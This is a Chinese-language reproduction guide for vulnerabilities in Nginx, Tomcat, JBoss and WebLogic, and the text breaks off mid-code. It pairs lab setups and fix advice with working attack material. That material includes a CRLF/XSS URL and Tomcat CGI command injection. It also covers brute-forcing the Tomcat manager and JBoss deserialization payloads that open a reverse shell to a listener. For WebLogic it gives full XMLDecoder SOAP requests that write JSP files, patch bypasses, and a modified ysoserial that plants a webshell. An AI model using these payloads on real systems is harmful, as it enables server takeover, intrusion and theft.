该漏洞是Nginx配置所导致,与Nginx版本无关,下面是常见的漏洞配置。 server { location ~ \.php$ { root /work/www/test; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; fastcgi_pass unix:/tmp/php-fpm.sock; } } 当攻击者访问/info.jpg/xxx.php时, Nginx将查看URL,看到它以.php结尾,并将路径传递给PHP fastcgi处理程序。 Nginx传给php的路径为c:/WWW/info.jpg/xxx.php, 在phpinfo中可以查看_SERVER["ORIG_SCRIPT_FILENAME"]得到。 PHP根据URL映射,在服务器上寻找xxx.php文件,但是xxx.php不存在,又由于cgi.fix_pathinfo默认是开启的,因此PHP 会继续检查路径中存在的文件,并将 多余的部分当作 PATH_INFO。接着PHP在文件系统中找到.jpg文件,而后以PHP的形式执行.jpg的内容,并将/xxx.php存储在 PATH_INFO 后丢弃,因此我们 在phpinfo中的$_SERVER['PATH_INFO']看的到值为空。 Note:php的一个选项: 的一个选项:cgi.fix_pathinfo,该选项默认开启,值为 ,该选项默认开启,值为1,用于修理路径, ,用于修理路径, 例如:当php遇到文件路径"/info.jpg/xxx.php/lxh.sec"时,若"/info.jpg/xxx.php/lxh.sec"不存在,则会去掉最后的"/lxh.sec",然后判断"/info.jpg/xxx.php"是否存 在, 若存在则将/info.jpg/xxx.php当作文件/info.jpg/xxx.php/lxh.sec,若/info.jpg/xxx.php仍不存在,则继续去掉xxx.php,依此类推。 修复建议 修复建议 1.配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序 结果: 2.或如果需要使用到cgi.fix_pathinfo这个特性(例如:Wordpress),那么可以禁止上传目录的执行脚本权限。 或将上传存储的内容与网站分离,即站库分离。 3.或高版本PHP提供了security.limit_extensions这个配置参数,设置security.limit_extensions = .php Nginx 空字节任意代码执行漏洞 空字节任意代码执行漏洞 影响版本:Nginx 0.5*, 0.6*,0.7 <= 0.7.65,0.8 <= 0.8.37 这里提供个打包好的Windows环境 Nginx 0.7.65+php 5.3.2 链接:https://pan.baidu.com/s/1FUVJv9iFCcX9Qp5D5AMxKw 提取码:imdm 解压后,在Nginx目录下执行startup.bat 然后在nginx-0.7.65/html/目录下创建info.jpg,内容为<?php phpinfo();?>, 访问info.jpg,并抓包,修改为info.jpg..php,在Hex选修卡中将jpg后面的.,更改为00. Note:该漏洞不受cgi.fix_pathinfo影响,当其为0时,依旧解析。 修复建议 修复建议 升级Nginx版本 Nginx 文件名逻辑漏洞( 文件名逻辑漏洞(CVE-2013-4547) ) 影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 在Windows弄了个环境,后来发现要文件名的后面存在空格,而Windows是不允许存在此类文件的,因此这里复现,使用Vulhub的docker进行复现。 访问http://your-ip:8080/ 上传文件 访问http://your-ip:8080/uploadfiles/info.jpg, 并抓包,修改为info.jpg...php, 在Hex选修卡中将jpg后面的两个点2e改成20,00 点击Go,如下。 Note:该漏洞不受cgi.fix_pathinfo影响,当其为0时,依旧解析,在Windows上有所限制。 修复建议 修复建议 1. 设置security.limit_extensions = .php 2. 或升级Nginx Nginx 配置错误导致的安全问题 配置错误导致的安全问题 CRLF注入 注入 查看Nginx文档,可以发现有三个表示uri的变量: 1.$uri 2.$document_uri 3.$request_uri 1和2表示的是解码以后的请求路径,不带参数;3表示的是完整的URI(没有解码) Nginx会将1,2进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。 错误配置: 访问: http://127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E 将返回包的Location端口设置为小于80,使得浏览器不进行跳转,执行XSS。 结果: 修复建议 修复建议 location / { return 302 https://$host$request_uri; } 目录穿越 目录穿越 Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。 错误的配置文件示例(原本的目的是为了让用户访问到C:/WWW/home/目录下的文件): location /files { autoindex on; alias c:/WWW/home/; } 结果: 修复建议 修复建议 只需要保证location和alias的值都有后缀/或都没有/这个后缀。 目录遍历 目录遍历 当Nginx配置文件中,autoindex 的值为on时,将造成一个目录遍历漏洞。 结果: 修复建议 修复建议 将autoindex 的值为置为off。 add_header被覆盖 被覆盖 Nginx的配置文件分为Server、Location等一些配置块,并且存在包含关系,子块会继承父块的一些选项,比如add_header。 如下配置中,整站(父块中)添加了CSP头: 正常情况下访问: 当访问 /test2时,XSS被触发。因/test2的location中添加了X-Content-Type-Options头,导致父块中的add_header全部失效。 Tomcat Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发 和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML ( 标准通用标记语言下的一个 应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进 程单独运行的。 Tomcat 任意文件写入( 任意文件写入(CVE-2017-12615) ) 环境:Tomcat/8.0.30 漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件: 增加完配置之后,记得重启Tomcat,效果如下: 当readonly=true时,效果如下。 修复建议 修复建议 将readonly=true,默认为true。 Tomcat 远程代码执行( 远程代码执行(CVE-2019-0232) ) 影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93 影响系统: Windows 测试环境: Apache Tomcat v8.5.39 JDK 1.8.0_144 修改配置: web.xml <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> content.xml 在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建lxhsec.bat文件,内容任意。 访问http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir 执行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user Note:net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执 行失败,控制台报错。 修复建议 修复建议 这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。 Tomcat + 弱口令 弱口令 && 后台 后台getshell漏洞 漏洞 环境:Apache Tomcat/7.0.94 在conf/tomcat-users.xml文件中配置用户的权限: <tomcat-users> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users> 正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。 访问 http://127.0.0.1:8080/manager/html ,输入弱密码tomcat:tomcat,登陆后台。 生成war包: jar -cvf lxhspy.war lxhspy.jsp 部署后,访问 http://127.0.0.1:8080/war包名/包名内文件名, 如下。 修复建议 修复建议 1. 若无必要,取消manager/html功能。 2. 若要使用,manager页面应只允许本地IP访问 Tomcat manager App 暴力破解 暴力破解 环境:Apache Tomcat/7.0.94 访问:http://127.0.0.1:8080/manager/html, 输入密码,抓包,如下。 刚才输入的账号密码在HTTP字段中的Authorization中,规则为Base64Encode(user:passwd) Authorization: Basic dG9tY2F0OmFkbWlu 解码之后如下: 将数据包发送到intruder模块,并标记dG9tY2F0OmFkbWlu。 Payload type选择 Custom iterator,设置三个position,1为用户字典,2为:,3为密码字典,并增加Payload Processing 为Base64-encode如下: 最后取消Palyload Encoding编码。 结果: 修复建议 修复建议 1. 若无必要,取消manager/html功能。 2. 若要使用,manager页面应只允许本地IP访问 JBoss jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支 持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。 默认端口:8080,9990 Windows下Jboss安装, 1. 下载http://jbossas.jboss.org/downloads/ 2. 解压,我这里解压后的目录为:C:\jboss-6.1.0.Final 3. 新建环境变量:JBOSS_HOME 值为: C:\jboss-6.1.0.Final 在path中加入:;%JBOSS_HOME%\bin; 4. 打开C:\jboss-6.1.0.Final\bin 双击run.bat。出现info消息,即配置成功。 Note:注意 注意JDK版本要在 版本要在1.6~1.7之间, 之间,1.8版本 版本 jBoss运行打开 运行打开JMX Console会出现 会出现500错误。 错误。 jboss默认部署路径:C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war 设置外网访问, 将C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml <!-- A HTTP/1.1 Connector on port 8080 --> <Connector protocol="HTTP/1.1" port="${jboss.web.http.port}" address="${jboss.bind.address}" redirectPort="${jboss.web.https.port}" /> 将address="${jboss.bind.address}" 设置为address="0.0.0.0" ,并重启JBoss JBoss 5.x/6.x 反序列化漏洞( 反序列化漏洞(CVE-2017-12149) ) 访问 /invoker/readonly 返回500,说明页面存在,此页面存在反序列化漏洞。 利用工具:JavaDeserH2HC,我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据: 生成ReverseShellCommonsCollectionsHashMap.class javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666(ip是nc所在的ip) 利用: curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser JBoss JMXInvokerServlet 反序列化漏洞 反序列化漏洞 访问 /invoker/JMXInvokerServlet 返回如下,说明接口开放,此接口存在反序列化漏洞。 这里直接利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中。 如下: JBoss EJBInvokerServlet 反序列化漏洞 反序列化漏洞 访问 /invoker/EJBInvokerServlet 返回如下,说明接口开放,此接口存在反序列化漏洞。 这里直接利用CVE-2017-12149生成的ser,发送到/invoker/EJBInvokerServlet接口中。 如下: 修复建议 修复建议 1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404. 2. 或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制: <url-pattern>/*</url-pattern> 路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml JBoss <=4.x JBossMQ JMS 反序列化漏洞( 反序列化漏洞(CVE-2017-7504) ) 环境:jboss-4.2.3 设置外网访问: 在C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml 将address="${jboss.bind.address} 改为:address="0.0.0.0", 重启Jboss <Connector port="8080" address="${jboss.bind.address}" maxThreads="250" maxHttpHeaderSize="8192" emptySessionPath="true" protocol="HTTP/1.1" enableLookups="false" redirectPort="8443" acceptCount="100" connectionTimeout="20000" disableUploadTimeout="true" /> 访问/jbossmq-httpil/HTTPServerILServlet, 返回This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。 这里直接利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中。 如下: 修复建议 修复建议 升级至最新版。 Administration Console 弱口令 弱口令 Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包。 1. 点击Web Application (WAR)s 2. Add a new resource,上传war包 3. 点击创建的war包进入下一层,若状态为stop,点击Start按钮(默认都是start状态,不需要点击Start按钮) 4. 访问。 http://xx.xx.xx.xx/[warname]/shellname.jsp 修复建议 修复建议 1. 修改密码 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties 2. 或删除Administration Console页面。 JBoss版本>=6.0,admin-console页面路径为: C:\jboss-6.1.0.Final\common\deploy\admin-console.war 6.0之前的版本,路径为C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war JMX Console未授权访问 未授权访问 JMX Console默认存在未授权访问,直接点击JBoss主页中的JMX Console链接进入JMX Console页面。 1. 在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下 2. 进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署。 3. 这里我部署的war包为lxh.war,链接如下: http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war 4. 访问 http://xx.xx.xx.xx/[warname]/shellname.jsp 修复建议 修复建议 1. 增加密码措施,防止未授权访问。 1)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml开启安全配置。 2)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml开启安全认证。 3)在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMX Console的用户密码配置位置。 <application-policy name="jmx-console"> <authentication> <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule" flag="required"> <module-option name="usersProperties">props/jmx-console-users.properties</module-option> <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option> </login-module> </authentication> 4)配置用户密码以及用户权限,这里新增lxhsec用户。 5)重启JBoss,效果如下: 2.或删除JMX Console,后重启JBoss C:\jboss-6.1.0.Final\common\deploy\jmx-console.war WebLogic WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布 式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之 中。 默认端口:7001 测试环境版本:10.3.6 下载地址:https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe? AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954 下载完成后双击运行,一直点下一步就ok了。 安装完成之后,在C:\Oracle\Middleware\user_projects\domains\base_domain这个目录双击startWebLogic.cmd启动Weblogic服务。 浏览器访问:http://127.0.0.1:7001/, 界面上出现Error 404--Not Found,即启动成功。 设置外网访问,在 域结构 -> 环境 -> 服务器 右边选择相应的Server(管理服务器),打开进行编辑,在监听地址:中填入0.0.0.0,保存后,重启Weblogic服务器即可。 以下复现若无特别说明均采用Weblogic 10.3.6 XMLDecoder 反序列化漏洞( 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506) ) Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可 执行任意命令。 访问 /wls-wsat/CoordinatorPortType 返回如下页面,则可能存在此漏洞。 漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径 为:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml 默认受到影响的Uri如下: /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 构造 写入文件 数据包发送,如下,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。 POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/xml Connection: close Content-Length: 629 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string> <void method="println"> <string> <![CDATA[ <% out.print("test777776666666"); %> ]]> </string> </void> <void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 访问 /bea_wls_internal/test2.jsp,如下: 不熟悉JAVA的小伙伴们可能会对这个构造的XML有所疑惑,可以参考下这篇文章。 CVE-2017-3506的补丁加了验证函数,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否 存在object Tag。 private void validate(InputStream is){ WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser =factory.newSAXParser(); parser.parse(is, newDefaultHandler() { public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch(ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXExceptionvar6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOExceptionvar7) { throw new IllegalStateException("Parser Exception", var7); } } 我们将object换成void就可绕过此补丁,产生了CVE-2017-10271。 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string> <void method="println"> <string> <![CDATA[ <% out.print("test777776666666"); %> ]]> </string> </void> <void method="close"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 修复建议 修复建议 1)安装补丁。 2)或删除wls-wsat组件,再次访问返回404. 1.删除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war 2.删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war 3.删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat 4.重启Weblogic Note:wls-wsat.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。 Weblogic wls9_async_response,wls-wsat 反序列化远程代码执行漏洞( 反序列化远程代码执行漏洞(CVE-2019- 2725) ) 影响组件:bea_wls9_async_response.war, wls-wsat.war 影响版本:10.3.6.0, 12.1.3.0 bea_wls9_async_response.war 访问 /_async/AsyncResponseService 返回如下页面,则可能存在此漏洞。 漏洞不仅存在于 /_async/AsyncResponseService 只要是在bea_wls9_async_response包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径为: C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml 默认受到影响的Uri如下: /_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps wls-wsat.war受影响的URI见XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506) 此漏洞实际上是CVE-2017-10271的又一入口,那么它是怎么绕过CVE-2017-10271的补丁,执行REC的呢。 先来看一下CVE-2017-10271的补丁代码: public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength();++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){ throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 =attributes.getValue("class"); if(var9 != null &&!var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is notvalid for array element."); } 其中CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是 必须要是byte类型的。 绕过CVE-2017-10271补丁是因为class标签未被过滤所导致的,这点我们可以从Oracle 发布的CVE-2019-2725补丁看出来, CVE-2019-2725补丁新增部分内容,将class加入了黑名单,限制了array标签中的byte长度。如下: else if (qName.equalsIgnoreCase("class")) { throw new IllegalStateException("Invalid element qName:class"); } else { if (qName.equalsIgnoreCase("array")) { String attClass = attributes.getValue("class"); if (attClass != null && !attClass.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); } String lengthString = attributes.getValue("length"); if (lengthString != null) { try { int length = Integer.valueOf(lengthString); if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) { throw new IllegalStateException("Exceed array length limitation"); } this.overallarraylength += length; if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) { throw new IllegalStateException("Exceed over all array limitation."); } } catch (NumberFormatException var8) { 复现: Weblogic 10.3.6 利用 利用oracle.toplink.internal.sessions.UnitOfWorkChangeSet构造函数执行 构造函数执行readObject(). 构造函数参考 public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException { java.io.ByteArrayInputStream byteIn = new java.io.ByteArrayInputStream(bytes); ObjectInputStream objectIn = new ObjectInputStream(byteIn); //bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets allChangeSets = (IdentityHashtable)objectIn.readObject(); deletedObjects = (IdentityHashtable)objectIn.readObject(); } UnitOfWorkChangeSet的参数是一个Byte数组,因此我们需要将Payload转换为Byte[]. 利用ysoserial生成Payload java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Jdk7u21 "cmd /c echo lxhsec > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echoxxxxx.txt" > payload.txt 然后使用下列代码,将Payload进行转换成Byte[] import java.beans.XMLEncoder; import java.io.*; public class Test{ public static void main(String[] args) throws Exception { File file = new File("C:\\Users\\lxhsec\\Downloads\\JRE8u20_RCE_Gadget-master\\exploit.ser"); //读取ysoserial文件生成的payload FileInputStream fileInputStream = new FileInputStream(file); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream((int) file.length()); int buf_size=1024; byte[] buffer=new byte[buf_size]; int len=0; while(-1 != (len=fileInputStream.read(buffer,0,buf_size))){ byteArrayOutputStream.write(buffer,0,len); } BufferedOutputStream oop = new BufferedOutputStream(new FileOutputStream(new File("C:\\Users\\lxhsec\\Downloads\\ysoserial-master\\target\\result.txt"))); //使用jdk的xmlencoder把byte数组写入到 result.txt XMLEncoder xmlEncoder = new XMLEncoder(oop); xmlEncoder.flush(); xmlEncoder.writeObject(byteArrayOutputStream.toByteArray()); xmlEncoder.close(); byteArrayOutputStream.close(); fileInputStream.close(); } } 拼接Payload POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept:*/* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: text/xml Content-Length: 178338 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> < <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void> //此处填写上面生成的XML。 </void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> 效果: 使用ysoserial生成的只能适用于Windows平台,如果在Linux平台使用,则又要进行一次编译,兼容性有点不太好,因此我们可以 将ysoserial稍稍的进行更改。 这里我们将ysoserial的Gadgets.java文件进行更改。路径为:ysoserial-master\src\main\java\ysoserial\payloads\util\Gadgets.java. public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // ---Start String cmd = ""; if(command.startsWith("filename:")) { String filename = command.substring(9); try { File file = new File(filename); if (file.exists()) { FileReader reader = new FileReader(file); BufferedReader br = new BufferedReader(reader); StringBuffer sb = new StringBuffer(""); String line = ""; while ((line = br.readLine()) != null) { sb.append(line); sb.append("\r\n"); } cmd = sb.toString(); } else { System.err.println(String.format("filename %s not exists!", filename)); System.exit(0); } } catch (IOException e) { e.printStackTrace(); } }else { // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; } System.err.println(cmd); // ---end clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } 保存后重新编译mvn clean package -DskipTests. 编译使用的是JDK1.8 修改后的ysoserial,将命令执行,转换成了代码执行。 整个兼容两边平台的代码TestCode.txt。 //TestCode.txt String WEB_PATH = "servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echolxhsec.jsp"; String ShellContent = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.d try { java.io.PrintWriter printWriter = new java.io.PrintWriter(WEB_PATH); printWriter.println(ShellContent); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } 执行: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "filename:C:\Users\lxhsec\Desktop\TestCode.txt" > result.txt reuslt.txt转换成Byte[]后执行,如下: 访问:http://127.0.0.1:7001/_async/echolxhsec.jsp Weblogic 12.1.3 利用 利用org.slf4j.ext.EventData构造函数执行 构造函数执行readObject(). oracle.toplink.internal.sessions.UnitOfWorkChangeSet在Weblogic 12.1.3中不存在,因此需要重新找利用链。 Weblogic的黑名单只会过滤传入的第一层XML,使用org.slf4j.ext.EventData传入的第一层XML是String,因此绕过黑名单检测。 构造函数参考 public EventData(String xml) { ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes()); try { XMLDecoder decoder = new XMLDecoder(bais); this.eventData = (Map<String, Object>) decoder.readObject(); } catch (Exception e) { throw new EventException("Error decoding " + xml, e); } } 构造写入文件Payload,如下。 POST /_async/AsyncResponseService HTTP/1.1 Host: 192.168.124.129:7001 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: text/xml Content-Length: 962 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> < <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><class><string>org.slf4j.ext.EventData</string><void><string> <![CDATA[<java> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"> <string>lxhsecTest</string> </void> <void method="close"/> </object> </java>]]></string></void></class> </void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> 结果: wls-wsat.war Weblogic 10.3.6 回显构造 回显构造. bea_wls9_async_response.war的反序列化链无法造成回显,但是wls-wsat.war的却可以。 访问:/wls-wsat/CoordinatorPortType 以下测试均在 JDK 1.6.0_45 64bit 下进行。 拿lufei大佬的工具改改。 这里我直接使用lufei的工具,发现 > 等特殊字符,会被当成字符串。 这里将工具的exec函数更改,如下: import java.io.*; public class ResultBaseExec { public static String exec(String cmd) throws Exception { String osTyp = System.getProperty("os.name"); Process p; if (osTyp != null && osTyp.toLowerCase().contains("win")) { //执行命令 // p = Runtime.getRuntime().exec("cmd /c " + cmd); p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); }else{ //执行命令 // p = Runtime.getRuntime().exec("/bin/sh -c " + cmd); p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); } InputStream fis=p.getInputStream(); InputStreamReader isr=new InputStreamReader(fis); BufferedReader br=new BufferedReader(isr); String line=null; String result = ""; while((line=br.readLine())!=null) { result = result + line; } return result; } } 编译成.class文件 "C:\Program Files\Java\jdk1.6.0_45\bin\javac.exe" C:\Users\lxhsec\Downloads\WeblogicCode\src\main\java\ResultBaseExec.java 接着将.class转换成Base64,当然你转成hex这些也可以。 import sun.misc.BASE64Encoder; import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; public class toBase64 { public static byte[] toByteArray(InputStream in) 